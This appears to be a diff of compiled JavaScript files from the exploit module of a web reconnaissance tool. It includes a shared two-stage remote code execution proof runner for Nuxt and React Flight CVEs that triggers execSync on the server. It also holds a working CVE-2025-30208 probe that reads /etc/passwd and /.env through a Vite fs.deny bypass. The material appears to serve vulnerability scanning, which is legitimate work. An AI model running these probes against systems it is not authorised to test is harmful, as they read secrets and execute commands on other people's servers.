export const toExploitFinding = (cveId, commonName, framework, target, outcome) => {
|
|
4
|
+
var _a;
|
|
5
|
+
return ({
|
|
6
|
+
cveId,
|
|
7
|
+
commonName,
|
|
8
|
+
framework,
|
|
9
|
+
target,
|
|
10
|
+
timestamp: new Date().toISOString(),
|
|
11
|
+
vulnerable: outcome.vulnerable,
|
|
12
|
+
evidence: outcome.evidence,
|
|
13
|
+
discoveredUrls: outcome.discoveredUrls,
|
|
14
|
+
execOutput: typeof ((_a = outcome.rawFindingExtras) === null || _a === void 0 ? void 0 : _a.execOutput) === "string" ? outcome.rawFindingExtras.execOutput : undefined,
|
|
15
|
+
});
|
|
16
|
+
};
|
|
17
|
+
export const generateExploitOutput = (outputFile, findings) => {
|
|
18
|
+
printMsg(MSG.Header, "[i] Generating exploit output...");
|
|
19
|
+
fs.writeFileSync(outputFile, JSON.stringify(findings, null, 2));
|
|
20
|
+
printMsg(MSG.Run, "[✓] Exploit output generated successfully.");
|
|
21
|
+
};
|
|
22
|
+
//# sourceMappingURL=outputHelper.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"outputHelper.js","sourceRoot":"","sources":["../../../src/exploit/utility/outputHelper.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,MAAM,IAAI,CAAC;AACpB,OAAO,EAAE,QAAQ,EAAE,GAAG,EAAE,MAAM,2BAA2B,CAAC;AAoB1D,MAAM,CAAC,MAAM,gBAAgB,GAAG,CAC5B,KAAa,EACb,UAAkB,EAClB,SAA2B,EAC3B,MAAc,EACd,OAAuB,EACT,EAAE;;IAAC,OAAA,CAAC;QAClB,KAAK;QACL,UAAU;QACV,SAAS;QACT,MAAM;QACN,SAAS,EAAE,IAAI,IAAI,EAAE,CAAC,WAAW,EAAE;QACnC,UAAU,EAAE,OAAO,CAAC,UAAU;QAC9B,QAAQ,EAAE,OAAO,CAAC,QAAQ;QAC1B,cAAc,EAAE,OAAO,CAAC,cAAc;QACtC,UAAU,EACN,OAAO,CAAA,MAAA,OAAO,CAAC,gBAAgB,0CAAE,UAAU,CAAA,KAAK,QAAQ,CAAC,CAAC,CAAC,OAAO,CAAC,gBAAgB,CAAC,UAAU,CAAC,CAAC,CAAC,SAAS;KACjH,CAAC,CAAA;CAAA,CAAC;AAEH,MAAM,CAAC,MAAM,qBAAqB,GAAG,CAAC,UAAkB,EAAE,QAA0B,EAAQ,EAAE;IAC1F,QAAQ,CAAC,GAAG,CAAC,MAAM,EAAE,kCAAkC,CAAC,CAAC;IACzD,EAAE,CAAC,aAAa,CAAC,UAAU,EAAE,IAAI,CAAC,SAAS,CAAC,QAAQ,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC,CAAC;IAChE,QAAQ,CAAC,GAAG,CAAC,GAAG,EAAE,4CAA4C,CAAC,CAAC;AACpE,CAAC,CAAC"}
|
|
@@ -0,0 +1,54 @@
|
|
|
1
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
2
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
3
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
4
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
5
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
6
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
7
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
8
|
+
});
|
|
9
|
+
};
|
|
10
|
+
import { withActiveProxyDispatcher } from "../../utility/makeReq.js";
|
|
11
|
+
import { progressError } from "../../utility/progressLog.js";
|
|
12
|
+
/**
|
|
13
|
+
* Raw fetch helper for the `exploit` module — a sibling to `../../utility/makeReq.ts`, not a
|
|
14
|
+
* modification of it. `makeRequest` silently discards non-2xx and WAF/CDN-shaped responses and
|
|
15
|
+
* caches to disk; exploit probes need the raw non-2xx baseline (redirects, 403s), exact bytes with
|
|
16
|
+
* no caching, and manual redirect handling so a 307 from a bypassed middleware check is observable
|
|
17
|
+
* as a status code rather than being silently followed.
|
|
18
|
+
*
|
|
19
|
+
* Returns null only on network-level failure (DNS, connection refused, timeout) — never throws for
|
|
20
|
+
* non-2xx responses.
|
|
21
|
+
*/
|
|
22
|
+
export const rawRequest = (url, opts) => __awaiter(void 0, void 0, void 0, function* () {
|
|
23
|
+
try {
|
|
24
|
+
return yield withActiveProxyDispatcher((dispatcherOpts) => __awaiter(void 0, void 0, void 0, function* () {
|
|
25
|
+
var _a;
|
|
26
|
+
const timeoutController = new AbortController();
|
|
27
|
+
const timeoutId = setTimeout(() => timeoutController.abort(), opts.timeout);
|
|
28
|
+
const signals = opts.signal ? [opts.signal, timeoutController.signal] : [timeoutController.signal];
|
|
29
|
+
try {
|
|
30
|
+
const response = yield fetch(url, Object.assign(Object.assign({}, dispatcherOpts), { method: (_a = opts.method) !== null && _a !== void 0 ? _a : "GET", headers: opts.headers, body: opts.body, redirect: "manual", signal: AbortSignal.any(signals) }));
|
|
31
|
+
const bodyBuffer = Buffer.from(yield response.arrayBuffer());
|
|
32
|
+
const headers = {};
|
|
33
|
+
response.headers.forEach((value, name) => {
|
|
34
|
+
headers[name.toLowerCase()] = value;
|
|
35
|
+
});
|
|
36
|
+
return {
|
|
37
|
+
status: response.status,
|
|
38
|
+
headers,
|
|
39
|
+
body: bodyBuffer.toString("utf8"),
|
|
40
|
+
bodyBuffer,
|
|
41
|
+
};
|
|
42
|
+
}
|
|
43
|
+
finally {
|
|
44
|
+
clearTimeout(timeoutId);
|
|
45
|
+
}
|
|
46
|
+
}));
|
|
47
|
+
}
|
|
48
|
+
catch (err) {
|
|
49
|
+
progressError(`[!] Raw exploit request failed for ${url}: ${err}`);
|
|
50
|
+
return null;
|
|
51
|
+
}
|
|
52
|
+
});
|
|
53
|
+
export default rawRequest;
|
|
54
|
+
//# sourceMappingURL=rawRequest.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"rawRequest.js","sourceRoot":"","sources":["../../../src/exploit/utility/rawRequest.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,EAAE,yBAAyB,EAAgC,MAAM,0BAA0B,CAAC;AACnG,OAAO,EAAE,aAAa,EAAE,MAAM,8BAA8B,CAAC;AAiB7D;;;;;;;;;GASG;AACH,MAAM,CAAC,MAAM,UAAU,GAAG,CAAO,GAAW,EAAE,IAAuB,EAA+B,EAAE;IAClG,IAAI,CAAC;QACD,OAAO,MAAM,yBAAyB,CAAC,CAAO,cAAuC,EAAE,EAAE;;YACrF,MAAM,iBAAiB,GAAG,IAAI,eAAe,EAAE,CAAC;YAChD,MAAM,SAAS,GAAG,UAAU,CAAC,GAAG,EAAE,CAAC,iBAAiB,CAAC,KAAK,EAAE,EAAE,IAAI,CAAC,OAAO,CAAC,CAAC;YAC5E,MAAM,OAAO,GAAG,IAAI,CAAC,MAAM,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,MAAM,EAAE,iBAAiB,CAAC,MAAM,CAAC,CAAC,CAAC,CAAC,CAAC,iBAAiB,CAAC,MAAM,CAAC,CAAC;YAEnG,IAAI,CAAC;gBACD,MAAM,QAAQ,GAAG,MAAM,KAAK,CAAC,GAAG,EAAE,gCAC3B,cAAc,KACjB,MAAM,EAAE,MAAA,IAAI,CAAC,MAAM,mCAAI,KAAK,EAC5B,OAAO,EAAE,IAAI,CAAC,OAAO,EACrB,IAAI,EAAE,IAAI,CAAC,IAAI,EACf,QAAQ,EAAE,QAAQ,EAClB,MAAM,EAAE,WAAW,CAAC,GAAG,CAAC,OAAO,CAAC,GACpB,CAAC,CAAC;gBAElB,MAAM,UAAU,GAAG,MAAM,CAAC,IAAI,CAAC,MAAM,QAAQ,CAAC,WAAW,EAAE,CAAC,CAAC;gBAC7D,MAAM,OAAO,GAA2B,EAAE,CAAC;gBAC3C,QAAQ,CAAC,OAAO,CAAC,OAAO,CAAC,CAAC,KAAK,EAAE,IAAI,EAAE,EAAE;oBACrC,OAAO,CAAC,IAAI,CAAC,WAAW,EAAE,CAAC,GAAG,KAAK,CAAC;gBACxC,CAAC,CAAC,CAAC;gBAEH,OAAO;oBACH,MAAM,EAAE,QAAQ,CAAC,MAAM;oBACvB,OAAO;oBACP,IAAI,EAAE,UAAU,CAAC,QAAQ,CAAC,MAAM,CAAC;oBACjC,UAAU;iBACb,CAAC;YACN,CAAC;oBAAS,CAAC;gBACP,YAAY,CAAC,SAAS,CAAC,CAAC;YAC5B,CAAC;QACL,CAAC,CAAA,CAAC,CAAC;IACP,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACX,aAAa,CAAC,sCAAsC,GAAG,KAAK,GAAG,EAAE,CAAC,CAAC;QACnE,OAAO,IAAI,CAAC;IAChB,CAAC;AACL,CAAC,CAAA,CAAC;AAEF,eAAe,UAAU,CAAC"}
|
|
@@ -0,0 +1,49 @@
|
|
|
1
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
2
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
3
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
4
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
5
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
6
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
7
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
8
|
+
});
|
|
9
|
+
};
|
|
10
|
+
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
|
|
11
|
+
/**
|
|
12
|
+
* Escapes a string for safe interpolation inside a single-quoted JS string literal embedded in a
|
|
13
|
+
* generated payload (e.g. `'<cmd>'` inside `cp.execSync('<cmd>')`). Backslashes MUST be escaped
|
|
14
|
+
* first — escaping the quote before the backslash would double-escape any backslash a prior quote
|
|
15
|
+
* substitution just inserted, and a command containing a literal backslash without this ordering
|
|
16
|
+
* could otherwise break out of the string literal.
|
|
17
|
+
*/
|
|
18
|
+
export const escapeSingleQuotedLiteral = (value) => value.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
|
|
19
|
+
/** Same as `escapeSingleQuotedLiteral`, for a double-quoted JS string literal. */
|
|
20
|
+
export const escapeDoubleQuotedLiteral = (value) => value.replace(/\\/g, "\\\\").replace(/"/g, '\\"');
|
|
21
|
+
/**
|
|
22
|
+
* Shared two-stage RCE-proof choreography for CVE-2026-71320 (Nuxt Server Island) and
|
|
23
|
+
* CVE-2025-55182 (React Flight RCE). Both use the same pattern: a stage-1 request triggers
|
|
24
|
+
* `import('node:child_process').then(cp => cp.execSync(cmd))` server-side and stashes the result
|
|
25
|
+
* (e.g. on `globalThis.__pocOut`), and stage 2 is an identically-shaped request that reads it back.
|
|
26
|
+
* Stage 1's dynamic `import()` resolves asynchronously — its promise may not have settled by the
|
|
27
|
+
* time stage 1's HTTP response is sent, so stage 2 is retried with a short delay until it returns
|
|
28
|
+
* a non-null result or the retry budget is exhausted.
|
|
29
|
+
*
|
|
30
|
+
* Only the two-stage request/retry orchestration is shared; payload construction (template
|
|
31
|
+
* injection string, gadget chain, hash computation) stays CVE-specific in each handler.
|
|
32
|
+
*/
|
|
33
|
+
export const runSandboxRceProof = (handlers_1, cmd_1, ...args_1) => __awaiter(void 0, [handlers_1, cmd_1, ...args_1], void 0, function* (handlers, cmd, options = {}) {
|
|
34
|
+
var _a, _b;
|
|
35
|
+
const retries = (_a = options.retries) !== null && _a !== void 0 ? _a : 3;
|
|
36
|
+
const delayMs = (_b = options.delayMs) !== null && _b !== void 0 ? _b : 1500;
|
|
37
|
+
yield handlers.sendStage1(cmd);
|
|
38
|
+
for (let attempt = 0; attempt < retries; attempt++) {
|
|
39
|
+
if (attempt > 0)
|
|
40
|
+
yield sleep(delayMs);
|
|
41
|
+
const output = yield handlers.sendStage2();
|
|
42
|
+
if (output !== null && output.length > 0) {
|
|
43
|
+
return { output, succeeded: true };
|
|
44
|
+
}
|
|
45
|
+
}
|
|
46
|
+
return { output: null, succeeded: false };
|
|
47
|
+
});
|
|
48
|
+
export default runSandboxRceProof;
|
|
49
|
+
//# sourceMappingURL=sandboxRce.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"sandboxRce.js","sourceRoot":"","sources":["../../../src/exploit/utility/sandboxRce.ts"],"names":[],"mappings":";;;;;;;;;AAiBA,MAAM,KAAK,GAAG,CAAC,EAAU,EAAiB,EAAE,CAAC,IAAI,OAAO,CAAC,CAAC,OAAO,EAAE,EAAE,CAAC,UAAU,CAAC,OAAO,EAAE,EAAE,CAAC,CAAC,CAAC;AAE/F;;;;;;GAMG;AACH,MAAM,CAAC,MAAM,yBAAyB,GAAG,CAAC,KAAa,EAAU,EAAE,CAAC,KAAK,CAAC,OAAO,CAAC,KAAK,EAAE,MAAM,CAAC,CAAC,OAAO,CAAC,IAAI,EAAE,KAAK,CAAC,CAAC;AAEtH,kFAAkF;AAClF,MAAM,CAAC,MAAM,yBAAyB,GAAG,CAAC,KAAa,EAAU,EAAE,CAAC,KAAK,CAAC,OAAO,CAAC,KAAK,EAAE,MAAM,CAAC,CAAC,OAAO,CAAC,IAAI,EAAE,KAAK,CAAC,CAAC;AAEtH;;;;;;;;;;;GAWG;AACH,MAAM,CAAC,MAAM,kBAAkB,GAAG,+BAIL,EAAE,sEAH3B,QAA4B,EAC5B,GAAW,EACX,UAA6B,EAAE;;IAE/B,MAAM,OAAO,GAAG,MAAA,OAAO,CAAC,OAAO,mCAAI,CAAC,CAAC;IACrC,MAAM,OAAO,GAAG,MAAA,OAAO,CAAC,OAAO,mCAAI,IAAI,CAAC;IAExC,MAAM,QAAQ,CAAC,UAAU,CAAC,GAAG,CAAC,CAAC;IAE/B,KAAK,IAAI,OAAO,GAAG,CAAC,EAAE,OAAO,GAAG,OAAO,EAAE,OAAO,EAAE,EAAE,CAAC;QACjD,IAAI,OAAO,GAAG,CAAC;YAAE,MAAM,KAAK,CAAC,OAAO,CAAC,CAAC;QACtC,MAAM,MAAM,GAAG,MAAM,QAAQ,CAAC,UAAU,EAAE,CAAC;QAC3C,IAAI,MAAM,KAAK,IAAI,IAAI,MAAM,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;YACvC,OAAO,EAAE,MAAM,EAAE,SAAS,EAAE,IAAI,EAAE,CAAC;QACvC,CAAC;IACL,CAAC;IAED,OAAO,EAAE,MAAM,EAAE,IAAI,EAAE,SAAS,EAAE,KAAK,EAAE,CAAC;AAC9C,CAAC,CAAA,CAAC;AAEF,eAAe,kBAAkB,CAAC"}
|
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
const RULE_TECH_MAP = {
|
|
2
|
+
next: "next",
|
|
3
|
+
vite: "all",
|
|
4
|
+
nuxt: "all",
|
|
5
|
+
angular: "angular",
|
|
6
|
+
react: "react",
|
|
7
|
+
};
|
|
8
|
+
/**
|
|
9
|
+
* Maps an exploit outcome to the `analyze`/`report` EngineOutput shape so `report --exploit-json`
|
|
10
|
+
* can feed exploit findings into the existing SQLite/HTML pipeline with zero report-side schema
|
|
11
|
+
* changes. `Rule.severity` has no "critical" tier — RCE-class CVEs map to "high", the type's
|
|
12
|
+
* ceiling, rather than inventing a new severity value.
|
|
13
|
+
*/
|
|
14
|
+
export const toEngineOutput = (cve, target, outcome) => ({
|
|
15
|
+
ruleId: cve.id,
|
|
16
|
+
ruleName: cve.commonName,
|
|
17
|
+
ruleType: "exploit",
|
|
18
|
+
ruleDescription: cve.description,
|
|
19
|
+
ruleAuthor: "js-recon",
|
|
20
|
+
ruleTech: [RULE_TECH_MAP[cve.framework]],
|
|
21
|
+
severity: "high",
|
|
22
|
+
message: `${outcome.evidence}${outcome.discoveredUrls.length > 0
|
|
23
|
+
? ` | Discovered: ${outcome.discoveredUrls.slice(0, 5).join(", ")}${outcome.discoveredUrls.length > 5 ? ", ..." : ""}`
|
|
24
|
+
: ""}`,
|
|
25
|
+
findingLocation: target,
|
|
26
|
+
});
|
|
27
|
+
export default toEngineOutput;
|
|
28
|
+
//# sourceMappingURL=toEngineOutput.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"toEngineOutput.js","sourceRoot":"","sources":["../../../src/exploit/utility/toEngineOutput.ts"],"names":[],"mappings":"AAIA,MAAM,aAAa,GAAuE;IACtF,IAAI,EAAE,MAAM;IACZ,IAAI,EAAE,KAAK;IACX,IAAI,EAAE,KAAK;IACX,OAAO,EAAE,SAAS;IAClB,KAAK,EAAE,OAAO;CACjB,CAAC;AAEF;;;;;GAKG;AACH,MAAM,CAAC,MAAM,cAAc,GAAG,CAAC,GAAgB,EAAE,MAAc,EAAE,OAAuB,EAAgB,EAAE,CAAC,CAAC;IACxG,MAAM,EAAE,GAAG,CAAC,EAAE;IACd,QAAQ,EAAE,GAAG,CAAC,UAAU;IACxB,QAAQ,EAAE,SAAS;IACnB,eAAe,EAAE,GAAG,CAAC,WAAW;IAChC,UAAU,EAAE,UAAU;IACtB,QAAQ,EAAE,CAAC,aAAa,CAAC,GAAG,CAAC,SAAS,CAAC,CAAC;IACxC,QAAQ,EAAE,MAAM;IAChB,OAAO,EAAE,GAAG,OAAO,CAAC,QAAQ,GACxB,OAAO,CAAC,cAAc,CAAC,MAAM,GAAG,CAAC;QAC7B,CAAC,CAAC,kBAAkB,OAAO,CAAC,cAAc,CAAC,KAAK,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,GAAG,OAAO,CAAC,cAAc,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC,CAAC,OAAO,CAAC,CAAC,CAAC,EAAE,EAAE;QACtH,CAAC,CAAC,EACV,EAAE;IACF,eAAe,EAAE,MAAM;CAC1B,CAAC,CAAC;AAEH,eAAe,cAAc,CAAC"}
|
|
@@ -0,0 +1,78 @@
|
|
|
1
|
+
import WebSocket from "ws";
|
|
2
|
+
import * as globals from "../../utility/globals.js";
|
|
3
|
+
/**
|
|
4
|
+
* Pure frame-matcher: given the id we sent and a raw WS frame payload (already JSON-parsed),
|
|
5
|
+
* decides whether this frame is the response to our request and extracts its result. Kept
|
|
6
|
+
* separate from the socket I/O in `sendRpcAndAwait` so it's unit-testable without a real socket.
|
|
7
|
+
*/
|
|
8
|
+
export const matchRpcResponse = (sentId, frame) => {
|
|
9
|
+
if (typeof frame !== "object" || frame === null)
|
|
10
|
+
return { matched: false };
|
|
11
|
+
const anyFrame = frame;
|
|
12
|
+
const data = anyFrame.data;
|
|
13
|
+
if (!data || data.id !== sentId)
|
|
14
|
+
return { matched: false };
|
|
15
|
+
if (anyFrame.type === "error" || data.error)
|
|
16
|
+
return { matched: true, result: undefined };
|
|
17
|
+
return { matched: true, result: "result" in data ? data.result : data };
|
|
18
|
+
};
|
|
19
|
+
/**
|
|
20
|
+
* Connects to a Vite dev server's HMR WebSocket endpoint using the `vite-hmr` subprotocol.
|
|
21
|
+
*
|
|
22
|
+
* Note: does not currently route through js-recon's configured outbound proxy (`ws` needs a
|
|
23
|
+
* classic Node http(s).Agent, not undici's Dispatcher used elsewhere in this codebase) — this is a
|
|
24
|
+
* known, documented gap for proxied exploit runs against CVE-2026-39363, not a silent failure.
|
|
25
|
+
*/
|
|
26
|
+
export const connectViteHmr = (baseUrl, timeout) => {
|
|
27
|
+
const wsUrl = baseUrl.replace(/^http/, "ws").replace(/\/$/, "");
|
|
28
|
+
const insecure = globals.getInsecure();
|
|
29
|
+
return new Promise((resolve, reject) => {
|
|
30
|
+
const ws = new WebSocket(wsUrl, "vite-hmr", {
|
|
31
|
+
rejectUnauthorized: !insecure,
|
|
32
|
+
handshakeTimeout: timeout,
|
|
33
|
+
});
|
|
34
|
+
const timer = setTimeout(() => {
|
|
35
|
+
ws.terminate();
|
|
36
|
+
reject(new Error("WebSocket connect timeout"));
|
|
37
|
+
}, timeout);
|
|
38
|
+
ws.once("open", () => {
|
|
39
|
+
clearTimeout(timer);
|
|
40
|
+
resolve(ws);
|
|
41
|
+
});
|
|
42
|
+
ws.once("error", (err) => {
|
|
43
|
+
clearTimeout(timer);
|
|
44
|
+
reject(err);
|
|
45
|
+
});
|
|
46
|
+
});
|
|
47
|
+
};
|
|
48
|
+
/** Sends a `vite:invoke` RPC frame and resolves with its matching response, or rejects on timeout. */
|
|
49
|
+
export const sendRpcAndAwait = (ws, message, timeoutMs) => {
|
|
50
|
+
return new Promise((resolve, reject) => {
|
|
51
|
+
const onMessage = (raw) => {
|
|
52
|
+
let parsed;
|
|
53
|
+
try {
|
|
54
|
+
parsed = JSON.parse(raw.toString());
|
|
55
|
+
}
|
|
56
|
+
catch (_a) {
|
|
57
|
+
return;
|
|
58
|
+
}
|
|
59
|
+
const { matched, result } = matchRpcResponse(message.data.id, parsed);
|
|
60
|
+
if (matched) {
|
|
61
|
+
cleanup();
|
|
62
|
+
resolve(result);
|
|
63
|
+
}
|
|
64
|
+
};
|
|
65
|
+
const timer = setTimeout(() => {
|
|
66
|
+
cleanup();
|
|
67
|
+
reject(new Error("RPC response timeout"));
|
|
68
|
+
}, timeoutMs);
|
|
69
|
+
const cleanup = () => {
|
|
70
|
+
clearTimeout(timer);
|
|
71
|
+
ws.off("message", onMessage);
|
|
72
|
+
};
|
|
73
|
+
ws.on("message", onMessage);
|
|
74
|
+
ws.send(JSON.stringify(message));
|
|
75
|
+
});
|
|
76
|
+
};
|
|
77
|
+
export default connectViteHmr;
|
|
78
|
+
//# sourceMappingURL=wsClient.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"wsClient.js","sourceRoot":"","sources":["../../../src/exploit/utility/wsClient.ts"],"names":[],"mappings":"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"}
|
|
@@ -0,0 +1,44 @@
|
|
|
1
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
2
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
3
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
4
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
5
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
6
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
7
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
8
|
+
});
|
|
9
|
+
};
|
|
10
|
+
import rawRequest from "../utility/rawRequest.js";
|
|
11
|
+
import diffResponses from "../utility/compareResponses.js";
|
|
12
|
+
/** Absolute paths to probe. Any one confirming the bypass is sufficient proof. */
|
|
13
|
+
const CANDIDATE_FILES = ["/etc/passwd", "/.env"];
|
|
14
|
+
/** Content markers that only a real file read would produce. */
|
|
15
|
+
const FILE_MARKERS = {
|
|
16
|
+
"/etc/passwd": "root:",
|
|
17
|
+
"/.env": "=",
|
|
18
|
+
};
|
|
19
|
+
export const buildFsPath = (absPath) => `/@fs${absPath}?import&raw`;
|
|
20
|
+
/** The exact CVE-2025-30208 bypass: a trailing double '?' defeats the fs.deny query-string regex. */
|
|
21
|
+
export const buildDoubleQuestionMarkPath = (absPath) => `/@fs${absPath}?import&raw??`;
|
|
22
|
+
const cve202530208 = (ctx) => __awaiter(void 0, void 0, void 0, function* () {
|
|
23
|
+
for (const absPath of CANDIDATE_FILES) {
|
|
24
|
+
const baselineUrl = new URL(buildFsPath(absPath), ctx.baseUrl).toString();
|
|
25
|
+
const payloadUrl = new URL(buildDoubleQuestionMarkPath(absPath), ctx.baseUrl).toString();
|
|
26
|
+
const baseline = yield rawRequest(baselineUrl, { timeout: ctx.timeout, signal: ctx.signal });
|
|
27
|
+
const payload = yield rawRequest(payloadUrl, { timeout: ctx.timeout, signal: ctx.signal });
|
|
28
|
+
if (!baseline || !payload)
|
|
29
|
+
continue;
|
|
30
|
+
const marker = FILE_MARKERS[absPath];
|
|
31
|
+
const diff = diffResponses(baseline, payload, [marker]);
|
|
32
|
+
if (diff.becameSuccessful) {
|
|
33
|
+
return {
|
|
34
|
+
vulnerable: true,
|
|
35
|
+
evidence: `fs.deny bypassed for ${absPath} via trailing double '?' (baseline status ${baseline.status} -> payload status ${payload.status}).`,
|
|
36
|
+
discoveredUrls: [payloadUrl],
|
|
37
|
+
rawFindingExtras: { file: absPath },
|
|
38
|
+
};
|
|
39
|
+
}
|
|
40
|
+
}
|
|
41
|
+
return { vulnerable: false, evidence: "No fs.deny bypass observed for candidate files.", discoveredUrls: [] };
|
|
42
|
+
});
|
|
43
|
+
export default cve202530208;
|
|
44
|
+
